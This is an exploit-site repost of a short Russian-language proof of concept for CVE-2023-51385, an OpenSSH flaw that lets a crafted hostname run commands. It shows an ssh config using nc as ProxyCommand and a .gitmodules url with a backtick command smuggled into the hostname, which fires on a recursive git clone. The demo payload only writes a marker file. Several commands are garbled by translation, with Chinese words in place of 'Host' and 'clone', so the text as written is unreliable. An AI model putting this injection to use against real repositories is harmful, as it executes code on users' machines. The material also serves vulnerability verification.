Sploitus

Exploit for CVE-2023-51385_test

kitploit · 2026-08-27

Exploit Code

MARKDOWN35 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-POWER1314520-CVE-2023-51385_TEST
## Верификация CVE-2023-51385

### Сначала необходимо добавить следующее в `~/.ssh/config`

root@kitploit:~
    
    
    主机 *.example.com
      ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
    

В файле `.gitmodules` в строке присутствует инъекция команд

root@kitploit:~
    
    
    url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
    

После настройки выполните следующую команду для запуска

root@kitploit:~
    
    
    git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
    

При успешном выполнении в каталоге CVE-2023-51385_test будет создан файл cve.txt

![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )

Подробнее см. в блоге:

https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html